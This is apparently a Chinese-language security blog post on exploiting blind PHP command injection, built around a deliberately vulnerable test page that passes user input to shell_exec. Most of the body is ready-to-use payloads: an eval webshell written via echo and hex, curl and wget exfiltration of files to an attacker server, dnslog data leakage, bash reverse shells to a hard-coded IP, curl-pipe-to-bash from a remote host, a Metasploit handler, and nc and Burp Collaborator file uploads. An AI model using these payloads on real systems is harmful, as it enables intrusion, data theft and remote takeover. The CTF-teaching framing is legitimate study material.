淺談PHP無回顯命令執(zhí)行的利用

前言

在CTF題或在一些滲透測試中往往會遇到?jīng)]有回顯的命令執(zhí)行漏洞自晰,為了能更好的實(shí)現(xiàn)對無回顯命令執(zhí)行漏洞的利用凝化,我對此進(jìn)行了簡單總結(jié)。

判斷方法

命令執(zhí)行可能會存在命令執(zhí)行但沒有回顯酬荞,所以首先要判斷命令是否有執(zhí)行搓劫。確定命令可以執(zhí)行,然后就可以進(jìn)行無回顯命令執(zhí)行的利用了混巧。

1枪向、審計(jì)代碼

審計(jì)代碼,根據(jù)代碼邏輯判斷(這個(gè)就需要扎實(shí)的審計(jì)代碼能力的功底了)

2咧党、利用延時(shí)

ip=|sleep5

如果執(zhí)行后延時(shí)5秒秘蛔,就證明測試點(diǎn)存在命令執(zhí)行漏洞

3沿量、HTTP請求

注意:ping命令不會產(chǎn)生http請求

1.在公網(wǎng)服務(wù)器監(jiān)聽監(jiān)聽端口

nc -lp4444

2.向目標(biāo)服務(wù)器發(fā)起http請求伶选,執(zhí)行curl命令

ip=|curl ip:4444

如果向目標(biāo)服務(wù)器發(fā)起http請求后,公網(wǎng)服務(wù)器監(jiān)聽端口得到一些信息干像,就證明測試點(diǎn)存在命令執(zhí)行漏洞蛙埂。

4倦畅、DNS請求

如果請求的目標(biāo)不是ip地址而是域名,那么域名最終還要轉(zhuǎn)化成ip地址绣的,就肯定要做一次域名解析請求叠赐。那么假設(shè)我有個(gè)可控的二級域名,那么它發(fā)出三級域名解析的時(shí)候被辑,我這邊是能夠拿到它的域名解析請求的燎悍,這就相當(dāng)于可以配合DNS請求進(jìn)行命令執(zhí)行的判斷,這一般就被稱為dnslog盼理。(要通過dns請求即可通過ping命令谈山,也能通過curl命令,只要對域名進(jìn)行訪問宏怔,讓域名服務(wù)器進(jìn)行域名解析就可實(shí)現(xiàn)) 來源:安全脈搏

(1)首先去ceye.io注冊個(gè)賬號奏路,注冊完后會給一個(gè)域名

我注冊后給的域名是v4utm7.ceye.io

(2)如果有域名解析請求就會被記錄畴椰。訪問qwzf.v4utm7.ceye.io,那么就會記錄下來這個(gè)域名解析請求鸽粉。

簡單測試一下向目標(biāo)服務(wù)器發(fā)起http請求斜脂,執(zhí)行下面的命令

ip=|curl`whoami`.v4utm7.ceye.io

查看dnslog

若果得到執(zhí)行結(jié)果(如上面執(zhí)行whoami命令,得到www-data)触机,就說明測試點(diǎn)存在命令執(zhí)行帚戳。

利用方法

了解了無回顯命令執(zhí)行的判斷方法后,當(dāng)然是還需要了解學(xué)習(xí)一下無回顯命令執(zhí)行的利用方法儡首。

但測試?yán)梅椒ㄖ捌危紫纫獪?zhǔn)備一下環(huán)境。于是我寫出下面的測試代碼進(jìn)行利用測試:

index.php

<?phpheader("Content-type: text/html; charset=utf-8");highlight_file(__FILE__);include("flag.php");$ip=$_REQUEST['ip'];if($ip){shell_exec("ping -c 4 ".$ip);}?>

1蔬胯、執(zhí)行命令

利用條件:需要站點(diǎn)目錄具有寫權(quán)限

通過執(zhí)行命令对供,直接將php文件寫入到在瀏覽器可直接讀取的文件類型中(如txt文件),然后訪問txt文件即可得到php文件內(nèi)容

1.使用>或>>

cat flag.php > flag.txtcat flag.php >> flag.txt

2.使用cp命令

cp flag.php flag.txt

3.使用mv命令

mv flag.php flag.txt

通過執(zhí)行tar命令和zip命令打包或壓縮php文件氛濒,在瀏覽器上下載打包或壓縮文件解壓得到php文件內(nèi)容

(1)tar打包或tar打包并壓縮

tar cvf flag.tar flag.phptar zcvf flag.tar.gz flag.php#解打包并解壓縮:tar zxvf flag.tar.gz

解打包得到flag:

(2)zip壓縮

zip flag.zip flag.php#解壓縮:unzip flag.zip

等等产场。

2、寫webshell(直接寫入或外部下載webshell)

利用條件:需要站點(diǎn)目錄具有寫權(quán)限

1.寫webshell

echo3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.phpecho"<?php @eval(\$_POST[123]); ?>"> webshell.php

2.外部下載shell

利用條件:目標(biāo)服務(wù)器可以連接外網(wǎng)或可以與攻擊機(jī)互通舞竿,且能執(zhí)行wget命令

wget 網(wǎng)址 -O webshell.php#使用wget下載shell京景,使用參數(shù)-O來指定一個(gè)文件名

利用命令執(zhí)行寫webshell或外部下載webshell后,用蟻劍連接測試炬灭,發(fā)現(xiàn)成功

然后在蟻劍里直接查看flag.php文件醋粟,即可得到flag靡菇。

3重归、在vps上建立記錄腳本

利用條件:需要目標(biāo)服務(wù)器可以向公網(wǎng)服務(wù)器發(fā)起http請求,并且能執(zhí)行curl命令或wget命令

1.構(gòu)造記錄腳本

在自己的公網(wǎng)服務(wù)器站點(diǎn)根目錄寫入php文件厦凤,內(nèi)容如下:

record.php


2.構(gòu)造請求

在目標(biāo)服務(wù)器的測試點(diǎn)可以發(fā)送下面其中任意一條請求進(jìn)行測試

curl http://*.*.*.**/record.php?data=`cat flag.php`wget http://*.*.*.*/record.php?data=`cat flag.php`

3.測試

執(zhí)行命令后發(fā)現(xiàn)在公網(wǎng)服務(wù)器得到的flag.txt文件中鼻吮,只得到下面內(nèi)容,并未得到flag

于是考慮對命令執(zhí)行的結(jié)果進(jìn)行編碼后寫入flag.txt文件

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`wget http://*.*.*.*/record.php?data=`cat flag.php|base64`

最終得到

Base64解碼即可得到flag较鼓。

4椎木、通過dnslog帶出數(shù)據(jù)

(1)命令執(zhí)行時(shí)要避免空格,空格會導(dǎo)致空格后面的命令執(zhí)行不到博烂;

(2)將讀取的文件命令用反引號``包含起來香椎;

(3)拼接的域名有長度限制。

利用命令:

curl`命令`.域名

測試一下命令

#用<替換讀取文件中的空格禽篱,且對輸出結(jié)果base64編碼curl`cat

利用dnslog畜伐,查看文件內(nèi)容(flag.php文件內(nèi)容)

base64解碼得到flag

5、反彈shell

利用條件:目標(biāo)服務(wù)器可以向可通信的公網(wǎng)服務(wù)器發(fā)起http請求

1.服務(wù)器端執(zhí)行

nc -vv -lp 8888

2.命令執(zhí)行處執(zhí)行

bash -i >& /dev/tcp/47.95.206.199/8888 0>&1

3.payload

ip=127.0.0.1%0d%0abash+-i+>%26+/dev/tcp/47.95.206.199/8888+0>%261

注意:百度搜索到的基本上都是上邊這個(gè)方法躺率,但經(jīng)過測試并未成功玛界。于是想到以前見過的一種方法

#1.首先在公網(wǎng)服務(wù)器使用nc命令監(jiān)聽端口nc -lvp4444#或nc -vv -lp 4444#2.然后在公網(wǎng)服務(wù)器上寫一個(gè)文件(我寫入到qwzf文件)万矾,內(nèi)容是下面命令bash -i >&/dev/tcp/x.x.x.165/44440>&1#3.最終瀏覽器上執(zhí)行的payload(實(shí)際上就是在目標(biāo)機(jī)執(zhí)行curl x.x.x.165:8002/qwzf|bash)ip=|curl x.x.x.165:8002/qwzf|bash

6、msf反向回連

利用條件:目標(biāo)服務(wù)器可以向可通信的公網(wǎng)服務(wù)器發(fā)起http請求

1.遠(yuǎn)程服務(wù)器用msf監(jiān)聽:

use exploit/multi/handlersetpayload linux/armle/shell/reverse_tcpsetlport4444setlhost xxx.xxx.xxx.xxxsetexitonsessionfalseexploit -j

2.目標(biāo)服務(wù)器執(zhí)行下面命令

ip=|bash -i >&/dev/tcp/xxxxx(vps公網(wǎng)ip)/44440>&1#如果上面這條命令在瀏覽器上執(zhí)行失敗慎框。那么要將上面這條命令寫入公網(wǎng)服務(wù)器上的一個(gè)文件中良狈,在msf開始監(jiān)聽后,在測試點(diǎn)執(zhí)行下面命令ip=|curl x.x.x.165:8002/qwzf|bash

3.公網(wǎng)服務(wù)器接收shell

目標(biāo)服務(wù)器上執(zhí)行命令后笨枯,會在公網(wǎng)服務(wù)器上接收到薪丁,然后在公網(wǎng)服務(wù)器上執(zhí)行以下命令getshell

sessions -i1shell

然后cat flag.php得到flag。

7馅精、使用nc

利用條件:要求目標(biāo)服務(wù)器也有nc工具

#1.公網(wǎng)服務(wù)器監(jiān)聽4444端口nc -tlp4444#2.目標(biāo)服務(wù)器執(zhí)行如下命令ip=|nc -t x.x.x.1654444< flag.php-u參數(shù)調(diào)整為udp,當(dāng)tcp不能使用的時(shí)候使用#1.公網(wǎng)服務(wù)器監(jiān)聽4444端口nc -ulp4444#2.目標(biāo)服務(wù)器執(zhí)行如下命令ip=|nc -u x.x.x.1654444< flag.php

8窥突、curl上傳文件讀取源碼

利用條件:目標(biāo)服務(wù)器curl命令可以正常執(zhí)行

使用curl -F將flag文件上傳到Burp的Collaborator Client(Collaborator Client 類似DNSLOG,其功能要比DNSLOG強(qiáng)大硫嘶,主要體現(xiàn)在可以查看POST請求包以及打Cookies)

1.獲取Collaborator Client分配給Burp的鏈接

打開Burp主界面 -> 菜單(Burp)-> Collaboraor Client -> 點(diǎn)擊Copy to Clipboard

Copy得到

jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net

2.拼接payload并在命令執(zhí)行處提交

ip=|curl -X POST -Fxx=@flag.php http://jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net

3.查看Collaborator Client收到的數(shù)據(jù)

成功得到flag阻问。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市沦疾,隨后出現(xiàn)的幾起案子称近,更是在濱河造成了極大的恐慌,老刑警劉巖哮塞,帶你破解...
    沈念sama閱讀 218,122評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件刨秆,死亡現(xiàn)場離奇詭異,居然都是意外死亡忆畅,警方通過查閱死者的電腦和手機(jī)衡未,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,070評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來家凯,“玉大人缓醋,你說我怎么就攤上這事“砘澹” “怎么了送粱?”我有些...
    開封第一講書人閱讀 164,491評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長掂之。 經(jīng)常有香客問我抗俄,道長,這世上最難降的妖魔是什么世舰? 我笑而不...
    開封第一講書人閱讀 58,636評論 1 293
  • 正文 為了忘掉前任动雹,我火速辦了婚禮,結(jié)果婚禮上跟压,老公的妹妹穿的比我還像新娘胰蝠。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,676評論 6 392
  • 文/花漫 我一把揭開白布姊氓。 她就那樣靜靜地躺著丐怯,像睡著了一般。 火紅的嫁衣襯著肌膚如雪翔横。 梳的紋絲不亂的頭發(fā)上读跷,一...
    開封第一講書人閱讀 51,541評論 1 305
  • 那天,我揣著相機(jī)與錄音禾唁,去河邊找鬼效览。 笑死,一個(gè)胖子當(dāng)著我的面吹牛荡短,可吹牛的內(nèi)容都是我干的丐枉。 我是一名探鬼主播,決...
    沈念sama閱讀 40,292評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼掘托,長吁一口氣:“原來是場噩夢啊……” “哼瘦锹!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起闪盔,我...
    開封第一講書人閱讀 39,211評論 0 276
  • 序言:老撾萬榮一對情侶失蹤弯院,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后泪掀,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體听绳,經(jīng)...
    沈念sama閱讀 45,655評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,846評論 3 336
  • 正文 我和宋清朗相戀三年异赫,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了椅挣。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,965評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡塔拳,死狀恐怖鼠证,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情蝙斜,我是刑警寧澤名惩,帶...
    沈念sama閱讀 35,684評論 5 347
  • 正文 年R本政府宣布,位于F島的核電站孕荠,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏攻谁。R本人自食惡果不足惜稚伍,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,295評論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望戚宦。 院中可真熱鬧个曙,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,894評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至猴贰,卻和暖如春对雪,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背米绕。 一陣腳步聲響...
    開封第一講書人閱讀 33,012評論 1 269
  • 我被黑心中介騙來泰國打工瑟捣, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人栅干。 一個(gè)月前我還...
    沈念sama閱讀 48,126評論 3 370
  • 正文 我出身青樓迈套,卻偏偏與公主長得像,于是被迫代替她去往敵國和親碱鳞。 傳聞我的和親對象是個(gè)殘疾皇子桑李,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,914評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 命令執(zhí)行的坑其實(shí)早就想填了。最早是因?yàn)樾Y悤r(shí)窿给,easyphp一題自己因?yàn)椴皇煜っ顖?zhí)行的一些特性導(dǎo)致套娃題繞到最后...
    byc_404閱讀 4,652評論 0 4
  • 在一個(gè)大佬博客看到的文章芙扎。。填大。然而我忘記是在哪看到的了戒洼。。允华。 php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行的七種姿勢 文件包含函數(shù):i...
    失眠是真滴難受閱讀 555評論 2 1
  • 前言: 還是那一次實(shí)習(xí)電話面圈浇,問到了這樣一個(gè)問題:面試官:在已經(jīng)確定了命令執(zhí)行漏洞的情況下,如果沒有回顯靴寂,如何進(jìn)行...
    book4yi閱讀 3,599評論 5 3
  • 久違的晴天磷蜀,家長會。 家長大會開好到教室時(shí)百炬,離放學(xué)已經(jīng)沒多少時(shí)間了褐隆。班主任說已經(jīng)安排了三個(gè)家長分享經(jīng)驗(yàn)。 放學(xué)鈴聲...
    飄雪兒5閱讀 7,523評論 16 22
  • 今天感恩節(jié)哎剖踊,感謝一直在我身邊的親朋好友庶弃。感恩相遇!感恩不離不棄德澈。 中午開了第一次的黨會歇攻,身份的轉(zhuǎn)變要...
    迷月閃星情閱讀 10,566評論 0 11